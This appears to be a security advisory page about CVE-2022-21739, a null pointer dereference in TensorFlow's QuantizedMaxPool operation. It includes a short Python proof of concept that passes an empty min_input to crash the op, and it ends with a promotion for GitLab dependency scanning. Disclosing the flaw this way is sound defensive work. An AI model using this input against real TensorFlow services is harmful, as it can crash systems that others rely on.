CVE-2022-21739: Null pointer dereference in TensorFlow

(updated )

The implementation of QuantizedMaxPool has an undefined behavior where user controlled inputs can trigger a reference binding to null pointer.

import tensorflow as tf

tf.raw_ops.QuantizedMaxPool(
input = tf.constant([[[[4]]]], dtype=tf.quint8),
min_input = [],
max_input = [1],
ksize = [1, 1, 1, 1],
strides = [1, 1, 1, 1],
padding = "SAME", name=None
)

References

Code Behaviors & Features

Detect and mitigate CVE-2022-21739 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →